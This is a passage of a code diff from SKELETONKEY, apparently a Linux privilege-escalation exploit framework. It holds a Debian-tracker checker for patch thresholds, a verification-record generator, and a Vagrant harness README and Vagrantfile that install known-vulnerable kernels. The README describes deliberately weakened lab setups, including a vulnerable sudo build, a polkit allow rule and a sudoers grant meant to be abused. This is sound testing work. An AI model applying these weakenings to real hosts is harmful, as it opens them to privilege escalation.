+    mods_dir = os.path.join(repo_root, "modules")
+    for d in sorted(os.listdir(mods_dir)):
+        src = os.path.join(mods_dir, d, "skeletonkey_modules.c")
+        if not os.path.exists(src):
+            continue
+        with open(src) as f:
+            text = f.read()
+        cve_m = RE_CVE.search(text)
+        if not cve_m:
+            continue
+        tab_m = RE_TABLE.search(text)
+        if not tab_m:
+            continue
+        entries = [tuple(int(x) for x in e) for e in RE_ENTRY.findall(tab_m.group(2))]
+        if not entries:
+            continue
+        yield {
+            "name": d,
+            "src": src,
+            "cve": cve_m.group(1),
+            "table": entries,
+            "table_name": tab_m.group(1),
+            "table_span": (tab_m.start(2), tab_m.end(2)),
+        }
+
+
+# ── Debian tracker lookup ────────────────────────────────────────────
+
+# Debian release names we care about (in age order, oldest first).
+# The tracker has more (e.g. ELTS) but those are usually too old to
+# inform mainline-or-near-mainline backport thresholds.
+DEBIAN_RELEASES = ["bullseye", "bookworm", "trixie", "forky", "sid"]
+
+
+def parse_upstream_version(deb_ver: str) -> tuple[int, int, int] | None:
+    """Map a Debian package version like '5.10.218-1' to upstream
+    (5, 10, 218). Returns None on parse failure."""
+    if not deb_ver:
+        return None
+    # Strip everything after first '-' (Debian revision) or '+' (backport).
+    head = re.split(r'[-+~]', deb_ver, maxsplit=1)[0]
+    parts = head.split(".")
+    if len(parts) < 3:
+        # Some Debian versions are X.Y (no patch). Treat patch as 0.
+        if len(parts) == 2:
+            parts.append("0")
+        else:
+            return None
+    try:
+        return (int(parts[0]), int(parts[1]), int(parts[2]))
+    except ValueError:
+        return None
+
+
+def debian_fixed_for(tracker: dict, cve: str) -> dict[str, tuple[int, int, int]]:
+    """For a CVE, return {debian_release: upstream_version_tuple} of
+    fixed versions per the tracker. Skips releases with no fix yet."""
+    out: dict[str, tuple[int, int, int]] = {}
+    for pkg in ("linux", "linux-grsec"):
+        pkg_data = tracker.get(pkg, {})
+        if cve not in pkg_data:
+            continue
+        cve_data = pkg_data[cve]
+        for release, info in cve_data.get("releases", {}).items():
+            if release not in DEBIAN_RELEASES:
+                continue
+            if info.get("status") != "resolved":
+                continue
+            fixed = info.get("fixed_version")
+            up = parse_upstream_version(fixed)
+            if up:
+                out[release] = up
+    return out
+
+
+# ── compare + report ─────────────────────────────────────────────────
+
+def branch_of(v: tuple[int, int, int]) -> tuple[int, int]:
+    return (v[0], v[1])
+
+
+def compare(table: list[tuple[int, int, int]],
+            debian: dict[str, tuple[int, int, int]]) -> list[dict]:
+    """Return a list of finding dicts ({severity, message, ...})."""
+    findings: list[dict] = []
+    our_by_branch = {branch_of(t): t for t in table}
+
+    # Group Debian releases by branch (multiple releases may share a branch)
+    debian_by_branch: dict[tuple[int, int], list[tuple[str, tuple[int, int, int]]]] = {}
+    for rel, ver in debian.items():
+        debian_by_branch.setdefault(branch_of(ver), []).append((rel, ver))
+
+    for branch, rels in debian_by_branch.items():
+        # Use the OLDEST fix Debian has on this branch (most permissive)
+        rels.sort(key=lambda x: x[1])
+        oldest_rel, oldest_ver = rels[0]
+        rel_list = ", ".join(f"{r}: {v[0]}.{v[1]}.{v[2]}" for r, v in rels)
+
+        if branch not in our_by_branch:
+            findings.append({
+                "severity": "MISSING",
+                "message": (
+                    f"Debian has fix on the {branch[0]}.{branch[1]} branch "
+                    f"(earliest: {oldest_ver[0]}.{oldest_ver[1]}.{oldest_ver[2]}, "
+                    f"all: {rel_list}), but our table has no {branch[0]}.{branch[1]} entry"
+                ),
+                "suggest_add": list(oldest_ver),
+            })
+        else:
+            our = our_by_branch[branch]
+            if our[2] > oldest_ver[2]:
+                findings.append({
+                    "severity": "TOO_TIGHT",
+                    "message": (
+                        f"Our {our[0]}.{our[1]}.{our[2]} threshold is later than "
+                        f"Debian's earliest fix on the {branch[0]}.{branch[1]} branch "
+                        f"({oldest_ver[0]}.{oldest_ver[1]}.{oldest_ver[2]}, from "
+                        f"{oldest_rel}). Hosts at {branch[0]}.{branch[1]}.{oldest_ver[2]} "
+                        "are patched per Debian but our detect() would report "
+                        "VULNERABLE."
+                    ),
+                    "suggest_replace": list(oldest_ver),
+                })
+            elif our[2] < oldest_ver[2]:
+                # Our threshold is earlier — we're more permissive about
+                # what counts as patched. Usually fine (we have better
+                # info than Debian's stable backport) but flag as info.
+                findings.append({
+                    "severity": "INFO",
+                    "message": (
+                        f"Our {our[0]}.{our[1]}.{our[2]} threshold is earlier "
+                        f"than Debian's {oldest_ver[0]}.{oldest_ver[1]}.{oldest_ver[2]} "
+                        f"({oldest_rel}). We're more permissive — verify this "
+                        "is intentional (e.g. we tracked a different distro's "
+                        "earlier backport)."
+                    ),
+                })
+
+    return findings
+
+
+# ── main ─────────────────────────────────────────────────────────────
+
+def render_text(reports: list[dict]) -> None:
+    """Human-readable report on stderr."""
+    drifted = 0
+    for r in reports:
+        if not r["findings"]:
+            print(f"[+] {r['name']:32s} ({r['cve']}) — table is current "
+                  f"({len(r['table'])} entries)")
+            continue
+        drifted += 1
+        print(f"[!] {r['name']} ({r['cve']})")
+        print(f"    table: " + ", ".join(
+            f"{M}.{m}.{p}" for (M, m, p) in r["table"]))
+        if r["debian"]:
+            print(f"    debian: " + ", ".join(
+                f"{rel}={M}.{m}.{p}"
+                for rel, (M, m, p) in sorted(r["debian"].items())))
+        else:
+            print("    debian: (no resolved entries for this CVE)")
+        for f in r["findings"]:
+            tag = {"MISSING": "+", "TOO_TIGHT": "✗", "INFO": "i"}[f["severity"]]
+            print(f"      [{tag}] {f['message']}")
+        print()
+    total = len(reports)
+    print(f"=== {drifted}/{total} module(s) drifted ===", file=sys.stderr)
+
+
+def render_json(reports: list[dict]) -> None:
+    print(json.dumps({"modules": reports}, indent=2, default=lambda o: list(o)))
+
+
+def render_patch(reports: list[dict]) -> None:
+    """Emit a brief proposed-edits diff for modules with MISSING or
+    TOO_TIGHT findings. Not actually applied — operator reviews."""
+    for r in reports:
+        actionable = [f for f in r["findings"]
+                      if f["severity"] in ("MISSING", "TOO_TIGHT")]
+        if not actionable:
+            continue
+        print(f"--- {r['src']}")
+        print(f"+++ {r['src']} (proposed)")
+        print(f"@@ kernel_patched_from {r['table_name']}[] @@")
+        # Reconstruct the table with the actionable changes applied.
+        new_table = list(r["table"])
+        new_branches = {branch_of(t): list(t) for t in new_table}
+        for f in actionable:
+            if "suggest_add" in f:
+                v = tuple(f["suggest_add"])
+                new_branches[branch_of(v)] = list(v)
+            elif "suggest_replace" in f:
+                v = tuple(f["suggest_replace"])
+                new_branches[branch_of(v)] = list(v)
+        new_sorted = sorted(new_branches.values())
+        old_set = {tuple(t) for t in r["table"]}
+        for entry in new_sorted:
+            t = tuple(entry)
+            if t in old_set:
+                print(f"     {{{entry[0]:>2}, {entry[1]:>2}, {entry[2]:>3}}},")
+            else:
+                print(f" +   {{{entry[0]:>2}, {entry[1]:>2}, {entry[2]:>3}}},")
+        for old in r["table"]:
+            if branch_of(old) not in new_branches or \
+               list(old) != new_branches[branch_of(old)]:
+                print(f" -   {{{old[0]:>2}, {old[1]:>2}, {old[2]:>3}}},")
+        print()
+
+
+def main() -> int:
+    json_mode = "--json" in sys.argv
+    patch_mode = "--patch" in sys.argv
+    force = "--refresh" in sys.argv
+
+    repo_root = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
+    tracker = fetch_tracker(force_refresh=force)
+
+    if "linux" not in tracker:
+        print("[-] tracker JSON has no 'linux' package — schema changed?",
+              file=sys.stderr)
+        return 1
+
+    reports: list[dict] = []
+    for mod in find_modules(repo_root):
+        debian = debian_fixed_for(tracker, mod["cve"])
+        findings = compare(mod["table"], debian)
+        reports.append({
+            "name": mod["name"],
+            "src": mod["src"],
+            "cve": mod["cve"],
+            "table_name": mod["table_name"],
+            "table": [list(t) for t in mod["table"]],
+            "debian": {k: list(v) for k, v in debian.items()},
+            "findings": findings,
+        })
+
+    if json_mode:
+        render_json(reports)
+    elif patch_mode:
+        render_patch(reports)
+    else:
+        render_text(reports)
+
+    # Exit code: 1 if any MISSING or TOO_TIGHT, 0 otherwise. INFO is fine.
+    actionable = sum(1 for r in reports for f in r["findings"]
+                     if f["severity"] in ("MISSING", "TOO_TIGHT"))
+    return 1 if actionable else 0
+
+
+if __name__ == "__main__":
+    sys.exit(main())

tools/refresh-verifications.py

@@ -0,0 +1,174 @@
+#!/usr/bin/env python3
+"""
+tools/refresh-verifications.py — read docs/VERIFICATIONS.jsonl,
+generate core/verifications.c with a deduped, sorted lookup table.
+
+Dedup key: (module, vm_box, host_kernel, expect_detect).
+On collision, the LATEST verified_at wins (so re-runs update rather
+than accumulate). Records are then sorted by module name so the
+output is stable and review-friendly.
+
+Records with no module name are dropped silently. Records with
+status != "match" are kept so MISMATCH histories stay visible in
+--module-info (but don't earn the ✓ verified badge).
+
+Usage:
+    tools/refresh-verifications.py            # regenerate core/verifications.c
+    tools/refresh-verifications.py --check    # exit 1 if regenerating would change anything
+"""
+
+import argparse
+import json
+import sys
+from pathlib import Path
+
+REPO = Path(__file__).resolve().parent.parent
+JSONL = REPO / "docs" / "VERIFICATIONS.jsonl"
+OUT_C = REPO / "core" / "verifications.c"
+
+
+def load_records():
+    if not JSONL.exists():
+        return []
+    out = []
+    for line in JSONL.read_text().splitlines():
+        line = line.strip()
+        if not line or line.startswith("#"):
+            continue
+        try:
+            r = json.loads(line)
+            if r.get("module"):
+                out.append(r)
+        except json.JSONDecodeError as e:
+            print(f"[!] skipping bad JSONL line: {e}", file=sys.stderr)
+    return out
+
+
+def dedup_latest(records):
+    """Keep only the latest record per (module, vm_box, host_kernel).
+
+    NB: expect_detect is intentionally NOT part of the dedup key. If we
+    re-verify the same target with a corrected expectation, the new
+    record supersedes the old one entirely (the old MISMATCH was a stale
+    target-yaml entry, not a separate test scenario)."""
+    by_key = {}
+    for r in records:
+        k = (r.get("module"), r.get("vm_box"), r.get("host_kernel"))
+        prev = by_key.get(k)
+        if prev is None or r.get("verified_at", "") > prev.get("verified_at", ""):
+            by_key[k] = r
+    return sorted(by_key.values(),
+                  key=lambda r: (r["module"], r.get("vm_box", ""),
+                                 r.get("host_kernel", "")))
+
+
+def date_only(iso_ts: str) -> str:
+    """Truncate 2026-05-23T19:26:02Z -> 2026-05-23."""
+    if not iso_ts:
+        return ""
+    return iso_ts.split("T", 1)[0]
+
+
+def cstr(s):
+    if s is None or s == "":
+        return '""'
+    # No paths in here ever contain unescapable chars; basic backslash + quote escape.
+    return '"' + s.replace("\\", "\\\\").replace('"', '\\"') + '"'
+
+
+def render_c(records) -> str:
+    lines = [
+        "/*",
+        " * SKELETONKEY — verification records table",
+        " *",
+        " * AUTO-GENERATED by tools/refresh-verifications.py from",
+        " * docs/VERIFICATIONS.jsonl. Do not hand-edit; rerun the script.",
+        " *",
+        " * Source: tools/verify-vm/verify.sh appends one JSON record per",
+        " * run; this generator dedupes to (module, vm_box, kernel, expect)",
+        " * and keeps the latest by verified_at.",
+        " */",
+        "",
+        '#include "verifications.h"',
+        "",
+        "#include <stddef.h>",
+        "#include <string.h>",
+        "#include <stdbool.h>",
+        "",
+        "const struct verification_record verifications[] = {",
+    ]
+    for r in records:
+        lines.append("    {")
+        lines.append(f"        .module        = {cstr(r.get('module'))},")
+        lines.append(f"        .verified_at   = {cstr(date_only(r.get('verified_at', '')))},")
+        lines.append(f"        .host_kernel   = {cstr(r.get('host_kernel'))},")
+        lines.append(f"        .host_distro   = {cstr(r.get('host_distro'))},")
+        lines.append(f"        .vm_box        = {cstr(r.get('vm_box'))},")
+        lines.append(f"        .expect_detect = {cstr(r.get('expect_detect'))},")
+        lines.append(f"        .actual_detect = {cstr(r.get('actual_detect'))},")
+        lines.append(f"        .status        = {cstr(r.get('status'))},")
+        lines.append("    },")
+    lines += [
+        "};",
+        "",
+        "const size_t verifications_count =",
+        "    sizeof(verifications) / sizeof(verifications[0]);",
+        "",
+        "const struct verification_record *",
+        "verifications_for_module(const char *module, size_t *count_out)",
+        "{",
+        "    if (count_out) *count_out = 0;",
+        "    if (!module) return NULL;",
+        "    const struct verification_record *first = NULL;",
+        "    size_t n = 0;",
+        "    for (size_t i = 0; i < verifications_count; i++) {",
+        "        if (strcmp(verifications[i].module, module) == 0) {",
+        "            if (first == NULL) first = &verifications[i];",
+        "            n++;",
+        "        }",
+        "    }",
+        "    if (count_out) *count_out = n;",
+        "    return first;",
+        "}",
+        "",
+        "bool verifications_module_has_match(const char *module)",
+        "{",
+        "    size_t n = 0;",
+        "    const struct verification_record *r = verifications_for_module(module, &n);",
+        "    for (size_t i = 0; i < n; i++)",
+        "        if (r[i].status && strcmp(r[i].status, \"match\") == 0)",
+        "            return true;",
+        "    return false;",
+        "}",
+        "",
+    ]
+    return "\n".join(lines)
+
+
+def main() -> int:
+    ap = argparse.ArgumentParser(description=__doc__.splitlines()[1])
+    ap.add_argument("--check", action="store_true",
+                    help="diff against committed core/verifications.c; exit 1 on drift")
+    args = ap.parse_args()
+
+    records = dedup_latest(load_records())
+    text = render_c(records)
+
+    if args.check:
+        existing = OUT_C.read_text() if OUT_C.exists() else ""
+        if existing == text:
+            print(f"[+] core/verifications.c is current ({len(records)} record(s))",
+                  file=sys.stderr)
+            return 0
+        print("[!] core/verifications.c drifted — rerun "
+              "tools/refresh-verifications.py", file=sys.stderr)
+        return 1
+
+    OUT_C.write_text(text)
+    print(f"[+] wrote {OUT_C.relative_to(REPO)} ({len(records)} record(s))",
+          file=sys.stderr)
+    return 0
+
+
+if __name__ == "__main__":
+    sys.exit(main())

tools/verify-vm/README.md

@@ -0,0 +1,193 @@
+# SKELETONKEY VM verification
+
+Auto-provisions a Parallels Desktop VM with a known-vulnerable kernel,
+runs `skeletonkey --explain <module> --active` inside it, and emits a
+verification record. Closes the loop between "detect() compiles & passes
+unit tests" and "exploit() actually works on a real vulnerable kernel."
+
+## One-time setup
+
+```bash
+./tools/verify-vm/setup.sh
+```
+
+That installs (if missing): Vagrant via Homebrew, the `vagrant-parallels`
+plugin, and pre-downloads ~5 GB of base boxes (Ubuntu 18.04/20.04/22.04
++ Debian 11/12). Idempotent — re-run any time.
+
+To skip boxes you don't need (save disk):
+
+```bash
+./tools/verify-vm/setup.sh ubuntu2004 debian11   # only those two
+```
+
+## Verify a single module
+
+```bash
+./tools/verify-vm/verify.sh nf_tables
+```
+
+What that does (two-phase model — install kernel, then verify):
+
+1. Reads `tools/verify-vm/targets.yaml`: finds `nf_tables` → box
+   `generic/ubuntu2204` + `mainline_version: 5.15.5`.
+2. `vagrant up skk-nf_tables` if not already running (each module gets
+   its own machine for isolation).
+3. **Prep phase** — runs every prep provisioner that applies:
+   - `pin-kernel-<pkg>` if `kernel_pkg` is set (apt install + GRUB_DEFAULT pin)
+   - `pin-mainline-<ver>` if `mainline_version` is set (download from
+     kernel.ubuntu.com/mainline, dpkg -i, GRUB_DEFAULT pin)
+   - `module-provision-<name>` if `provisioners/<name>.sh` exists
+     (build vulnerable sudo from source, drop polkit allow rule,
+     install udisks2, etc.)
+4. **Conditional reboot** — `vagrant reload` if `uname -r` doesn't
+   match the target kernel after the prep phase. Confirms post-reboot
+   kernel actually landed on the target; warns if it didn't.
+5. **Verify phase** — `build-and-verify` provisioner: rsync the source,
+   `make`, run `skeletonkey --explain <module> --active`.
+6. Parses the `VERDICT:` line, compares against `expect_detect` from
+   targets.yaml, appends a JSON verification record to
+   `docs/VERIFICATIONS.jsonl`.
+7. Suspends the VM (`vagrant suspend`) — instant resume next run.
+
+Lifecycle flags:
+
+```bash
+./tools/verify-vm/verify.sh nf_tables --keep      # leave VM running; ssh in to inspect
+./tools/verify-vm/verify.sh nf_tables --destroy   # full teardown after run
+```
+
+## List every target
+
+```bash
+./tools/verify-vm/verify.sh --list
+```
+
+Shows the (module, box, target kernel, expected verdict, notes) matrix
+for all targets. Modules with `manual: true` are blocked by their
+target environment — see the notes field for the reason (VMware-only
+guest, EOL kernel needed, t64-transition libs missing, etc.).
+
+## Verification records
+
+`verify.sh` appends one JSON record per run to
+`docs/VERIFICATIONS.jsonl`:
+
+```json
+{
+  "module":        "nf_tables",
+  "verified_at":   "2026-05-24T03:24:01Z",
+  "host_kernel":   "5.15.5-051505-generic",
+  "host_distro":   "Ubuntu 22.04.3 LTS",
+  "vm_box":        "generic/ubuntu2204",
+  "expect_detect": "VULNERABLE",
+  "actual_detect": "VULNERABLE",
+  "status":        "match"
+}
+```
+
+`status: match` means detect() returned what we expected on a known-
+vulnerable kernel. Anything else (`MISMATCH`, exit code != 0) means
+either:
+
+- The kernel pin didn't take — check `host_kernel` against
+  `kernel_version` in targets.yaml. The "post-reboot kernel" line in
+  the verify log will say if `vagrant reload` did or didn't land on
+  the target.
+- The exploit's preconditions aren't met in the default Vagrant image
+  (e.g. apparmor blocks unprivileged userns; provisioner needed).
+- The module's detect() logic is wrong for this kernel/distro combo
+  (a real module bug — fix it, as we did for `dirtydecrypt` after
+  cross-checking against NVD).
+
+Run `tools/refresh-verifications.py` after new records land to
+regenerate `core/verifications.c` so the binary's `--explain` and
+`--list` reflect the latest evidence.
+
+## How it routes module → box
+
+Mapping lives in `tools/verify-vm/targets.yaml`. Each entry has:
+
+- `box` — generic/<distro> (e.g. `ubuntu2204`)
+- `kernel_pkg` — apt package for a vulnerable stock-archive kernel,
+  if one still exists in the distro's repos
+- `mainline_version` — alternative to `kernel_pkg`: pulls a vanilla
+  upstream kernel from `kernel.ubuntu.com/mainline/v<ver>/`. Use when
+  the apt-archive version has been garbage-collected (Ubuntu drops
+  old ABI versions) or when you need a specific point release that
+  the distro never packaged.
+- `kernel_version` — what `uname -r` should report after install
+- `expect_detect` — `VULNERABLE` | `OK` | `PRECOND_FAIL`
+- `manual: true` — skip auto verification; explain why in `notes`
+- `notes` — full context for why this target was picked
+
+Adding a new module is one block in targets.yaml. If the module needs
+per-target setup beyond installing a kernel — for example building
+sudo from source, adding a sudoers grant, or dropping a polkit allow
+rule — write a shell script at `tools/verify-vm/provisioners/<module>.sh`
+and the Vagrantfile will pick it up automatically.
+
+## Module-specific provisioners (`provisioners/<module>.sh`)
+
+When the kernel pin alone doesn't make a host vulnerable — e.g.
+the bug is sudo-version-gated, or a polkit "active session" check
+blocks the SSH path — drop a shell script at
+`tools/verify-vm/provisioners/<module_name>.sh`. The Vagrantfile
+runs it as root in the prep phase, before the `vagrant reload`
+check. Scripts should be idempotent (apt is no-op if installed,
+file overwrites are safe) since they re-run on every verify.
+
+Existing examples:
+
+- `sudo_chwoot.sh` — builds sudo 1.9.16p1 from upstream into
+  `/usr/local/bin` so the vulnerable `--chroot` code path is reachable
+  on Ubuntu 22.04 (which ships pre-feature 1.9.9).
+- `udisks_libblockdev.sh` — installs `udisks2` + drops a polkit rule
+  allowing the vagrant user to invoke `loop-setup` / `filesystem-mount`
+  (without this, the SSH session is not "active" per polkit and the
+  D-Bus call short-circuits).
+- `sudo_runas_neg1.sh` — adds `vagrant ALL=(ALL,!root) NOPASSWD: /bin/vi`
+  to `/etc/sudoers.d/` so `find_runas_blacklist_grant()` has a grant
+  to abuse.
+
+## Pinning kernels: apt vs mainline
+
+`pin-kernel-<pkg>` runs `apt-get install -y <pkg>`. Best when the
+target version still lives in the distro's archive (rare for old
+point releases — Ubuntu eventually GCs them). Also pins `GRUB_DEFAULT`
+to the just-installed kernel so the reboot lands on it instead of
+the higher-version stock kernel.
+
+`pin-mainline-<ver>` downloads vanilla mainline debs from
+`kernel.ubuntu.com/mainline/v<ver>/`. Tries `/amd64/` first, falls
+back to bare `/v<ver>/` for old kernels (≤ ~4.15) where amd64 wasn't
+a separate subdir. Accepts both `linux-image-` (older naming) and
+`linux-image-unsigned-` (current). Pins `GRUB_DEFAULT` to the
+mainline kernel so grub doesn't keep booting the higher-versioned
+stock kernel.
+
+## Files
+
+```
+tools/verify-vm/
+├── README.md         this file
+├── setup.sh          one-time bootstrap (Vagrant, plugin, box cache)
+├── verify.sh         per-module verifier
+├── Vagrantfile       parameterized VM config (driven by SKK_VM_* env vars)
+├── targets.yaml      module → box mapping with rationale
+├── provisioners/     optional per-module shell hooks
+│   ├── sudo_chwoot.sh
+│   ├── sudo_runas_neg1.sh
+│   └── udisks_libblockdev.sh
+└── logs/             per-verification stdout/stderr capture
+```
+
+## Why Vagrant + Parallels
+
+You already have Parallels Desktop. `vagrant-parallels` gives a
+scriptable per-VM config + a curated public box library + idempotent
+`vagrant up/provision/reload/suspend` lifecycle. The Vagrantfile is
+parameterized via env vars so a single file drives every target.
+
+Alternative providers (Lima, Multipass) would also work; Vagrant was
+chosen for ergonomic continuity with the existing Parallels install.

tools/verify-vm/Vagrantfile

@@ -0,0 +1,217 @@
+# -*- mode: ruby -*-
+# vi: set ft=ruby :
+#
+# tools/verify-vm/Vagrantfile — parameterized verifier VM.
+#
+# Driven by env vars set by tools/verify-vm/verify.sh:
+#
+#   SKK_VM_BOX            generic/<box> name (e.g. generic/debian11)
+#   SKK_VM_KERNEL_PKG     optional apt package for the vulnerable kernel
+#                         (e.g. linux-image-5.13.0-19-generic). Empty = use stock.
+#   SKK_VM_KERNEL_VERSION expected kernel version after install
+#   SKK_VM_HOSTNAME       hostname for this VM (used in vagrant box name)
+#
+# The Vagrantfile mounts the repo root at /vagrant (Vagrant default) so the
+# in-VM `make` builds against your live source — no rebuild loop.
+
+require "yaml"
+
+REPO_ROOT = File.expand_path("../..", __dir__)
+
+box      = ENV["SKK_VM_BOX"]              || "generic/debian12"
+pkg      = ENV["SKK_VM_KERNEL_PKG"]       || ""
+mainline = ENV["SKK_VM_MAINLINE_VERSION"] || ""
+kver     = ENV["SKK_VM_KERNEL_VERSION"]   || ""
+host     = ENV["SKK_VM_HOSTNAME"]         || "skk-verify"
+
+Vagrant.configure("2") do |c|
+  # Define ONE Vagrant machine named after SKK_VM_HOSTNAME. Per-module
+  # isolation: each module gets its own `skk-<module>` machine that
+  # vagrant tracks in .vagrant/machines/skk-<module>/parallels/.
+  c.vm.define host do |m|
+    m.vm.box = box
+    # Guest hostnames forbid underscores per RFC 952. Vagrant machine
+    # names allow them (we keep skk-cgroup_release_agent so per-module
+    # state stays isolated in .vagrant/machines/), but inside the VM
+    # we translate to hyphens so the hostname is RFC-valid.
+    m.vm.hostname = host.gsub("_", "-")
+
+    m.vm.synced_folder REPO_ROOT, "/vagrant",
+      type: "rsync", rsync__exclude: ["build/", ".git/", "*.o", "skeletonkey-test*"]
+
+    m.vm.provider "parallels" do |p|
+      p.memory = 2048
+      p.cpus   = 2
+      p.name   = host
+      # Don't auto-update Parallels Tools: the installer fails on older
+      # guest kernels (e.g. Ubuntu 20.04's 5.4.0-169 is "outdated and
+      # not supported" by latest tools). We use rsync over SSH for
+      # sync_folder, which doesn't need the guest tools at all.
+      p.update_guest_tools = false
+      p.check_guest_tools  = false
+    end
+
+    # 1. Always install build deps + sudo (needed for module verification).
+    m.vm.provision "shell", inline: <<-SHELL
+      set -e
+      if command -v apt-get >/dev/null 2>&1; then
+          export DEBIAN_FRONTEND=noninteractive
+          apt-get update -qq
+          apt-get install -y -qq build-essential libglib2.0-dev pkg-config sudo curl ca-certificates
+      elif command -v dnf >/dev/null 2>&1; then
+          dnf install -y -q gcc make glib2-devel pkgconfig sudo curl
+      fi
+    SHELL
+
+    # 2a. Pin via apt if requested. Reboot needed afterward.
+    if !pkg.empty?
+      m.vm.provision "shell", name: "pin-kernel-#{pkg}", inline: <<-SHELL
+        set -e
+        if dpkg-query -W -f='${Status}' #{pkg} 2>/dev/null | grep -q 'install ok installed'; then
+            echo "[=] #{pkg} already installed"
+        else
+            echo "[+] installing #{pkg} (kernel target #{kver})"
+            export DEBIAN_FRONTEND=noninteractive
+            apt-get install -y -qq #{pkg}
+            echo "[i] kernel #{pkg} installed"
+        fi
+        # Pin grub default to this specific kernel. Without it, grub
+        # picks the highest-versioned kernel installed (typically a
+        # stock HWE backport that's POST-fix), defeating the pin's
+        # purpose. Find the kver string by stripping linux-image-
+        # prefix from the pkg name.
+        PINNED_KVER="$(echo '#{pkg}' | sed 's/^linux-image-//')"
+        if [ -f "/boot/vmlinuz-${PINNED_KVER}" ]; then
+            GRUB_ENTRY="Advanced options for Ubuntu>Ubuntu, with Linux ${PINNED_KVER}"
+            sed -i "s|^GRUB_DEFAULT=.*|GRUB_DEFAULT=\\"${GRUB_ENTRY}\\"|" /etc/default/grub
+            echo "[+] GRUB_DEFAULT pinned to: ${GRUB_ENTRY}"
+            update-grub 2>&1 | tail -3
+        fi
+      SHELL
+    end
+
+    # 2b. Pin via kernel.ubuntu.com/mainline/ if mainline_version is set.
+    # Fetches the four .debs (linux-headers _all, linux-headers _amd64
+    # generic, linux-image-unsigned generic, linux-modules generic),
+    # dpkg -i's them, regenerates grub, and prints a reboot hint.
+    # Mainline kernel package version like "5.15.5-051505" sorts ABOVE
+    # Ubuntu's stock "5.15.0-91" in debian-version-compare (numeric
+    # 51505 > 91), so update-grub puts it at boot index 0 and the next
+    # boot lands on it automatically.
+    if !mainline.empty?
+      m.vm.provision "shell", name: "pin-mainline-#{mainline}", inline: <<-SHELL
+        set -e
+        KVER="#{mainline}"
+        # already booted into it? Still fall through to grub-pin to
+        # make sure GRUB_DEFAULT stays correct even after stock kernel
+        # upgrades that might reorder grub entries.
+        BOOTED_INTO_TARGET=0
+        if uname -r | grep -q "^${KVER}-[0-9]\\+-generic"; then
+            echo "[=] mainline ${KVER} already booted ($(uname -r))"
+            BOOTED_INTO_TARGET=1
+        fi
+
+        # already installed on disk? Skip the download/install but
+        # still run the grub-pin block at the end.
+        SKIP_INSTALL=0
+        if ls /boot/vmlinuz-${KVER}-* >/dev/null 2>&1; then
+            echo "[=] mainline ${KVER} already installed on disk"
+            SKIP_INSTALL=1
+        fi
+
+        if [ "$SKIP_INSTALL" -eq 0 ]; then
+        echo "[+] fetching kernel.ubuntu.com mainline v${KVER}"
+        # Newer mainline kernels live under /v${KVER}/amd64/; older ones
+        # (≤ ~4.15) put debs at /v${KVER}/ directly. Try /amd64/ first;
+        # fall back to bare. linux-image-unsigned was renamed from
+        # linux-image- around 4.18 — old kernels use the plain name.
+        BASE="https://kernel.ubuntu.com/mainline/v${KVER}"
+        for URL in "${BASE}/amd64/" "${BASE}/"; do
+            INDEX=$(curl -sL "$URL")
+            if echo "$INDEX" | grep -q '\\.deb"'; then
+                break
+            fi
+        done
+        TMP=$(mktemp -d)
+        cd "$TMP"
+        # Pick the 4 canonical generic-kernel .debs by pattern match against
+        # the directory index. Skip lowlatency variants. Accept both
+        # 'linux-image-unsigned-' (newer) and 'linux-image-' (older).
+        DEBS=$(echo "$INDEX" | \\
+            grep -oE 'href="[^"]+\\.deb"' | sed 's/href="//; s/"$//' | \\
+            grep -E '(linux-image(-unsigned)?|linux-modules|linux-headers)-[0-9.]+-[0-9]+-generic_|linux-headers-[0-9.]+-[0-9]+_[^_]+_all\\.deb' | \\
+            grep -v lowlatency)
+        if [ -z "$DEBS" ]; then
+            echo "[-] no .debs found at ${BASE}/ (tried /amd64/ and bare)" >&2
+            exit 2
+        fi
+        for f in $DEBS; do
+            echo "[+]   $f"
+            curl -fsSL -O "${URL}${f}"
+        done
+        export DEBIAN_FRONTEND=noninteractive
+        # --force-depends so packages still install even when t64-transition
+        # libs (libssl3t64, libelf1t64) are missing on a pre-24.04 rootfs.
+        # The kernel image + modules don't actually need those at boot —
+        # the dependency is for signing/integrity checks at build time.
+        dpkg -i --force-depends *.deb || apt-get install -f -y -qq || true
+        fi  # end SKIP_INSTALL guard
+
+        # Pin grub default to the just-installed mainline kernel. Without
+        # this, grub's debian-version-compare picks the highest-sorting
+        # vmlinuz-* as default; for downgrades (e.g. stock 4.15 → mainline
+        # 4.14.70), the OLD kernel wins because 4.15 > 4.14 numerically.
+        MAINLINE_VMLINUZ=$(ls /boot/vmlinuz-${KVER}-* 2>/dev/null | head -1)
+        if [ -n "$MAINLINE_VMLINUZ" ]; then
+            MAINLINE_KVER=$(basename "$MAINLINE_VMLINUZ" | sed 's/^vmlinuz-//')
+            # The "Advanced options" submenu entry id is stable across
+            # update-grub runs as "gnulinux-advanced-<UUID>>gnulinux-<kver>-advanced-<UUID>".
+            # Easier: use the human menuentry path.
+            GRUB_ENTRY="Advanced options for Ubuntu>Ubuntu, with Linux ${MAINLINE_KVER}"
+            sed -i "s|^GRUB_DEFAULT=.*|GRUB_DEFAULT=\\"${GRUB_ENTRY}\\"|" /etc/default/grub
+            echo "[+] GRUB_DEFAULT pinned to: ${GRUB_ENTRY}"
+        fi
+        update-grub 2>&1 | tail -3
+        echo "[i] mainline ${KVER} installed; reboot via 'vagrant reload'"
+      SHELL
+    end
+
+    # 2c. Optional per-module provisioner. If
+    # tools/verify-vm/provisioners/<module>.sh exists, run it as root
+    # before build-and-verify. Used for things only meaningful per-module:
+    # build sudo 1.9.16 from source (sudo_chwoot), drop a polkit allow
+    # rule (udisks_libblockdev), add a sudoers grant (sudo_runas_neg1).
+    skk_mod = ENV["SKK_MODULE"] || ""
+    if !skk_mod.empty?
+      prov_path = File.join(__dir__, "provisioners", "#{skk_mod}.sh")
+      if File.exist?(prov_path)
+        m.vm.provision "shell", name: "module-provision-#{skk_mod}",
+          path: prov_path
+      end
+    end
+
+    # 3. Build SKELETONKEY in-VM and run --explain --active for the target
+    #    module. Runs as the unprivileged 'vagrant' user (NOT root) — most
+    #    detect()s gate on "are you already root?" and short-circuit if so,
+    #    which would invalidate every verification (pack2theroot was the
+    #    motivating case). 'privileged: false' is how vagrant downshifts.
+    #    SKK_MODULE is set by verify.sh on the second-pass `vagrant
+    #    provision` call (post-reboot if kernel was pinned).
+    m.vm.provision "shell", name: "build-and-verify", run: "never",
+      privileged: false,
+      env: { "SKK_MODULE" => ENV["SKK_MODULE"] || "" },
+      inline: <<-SHELL
+      set -e
+      cd /vagrant
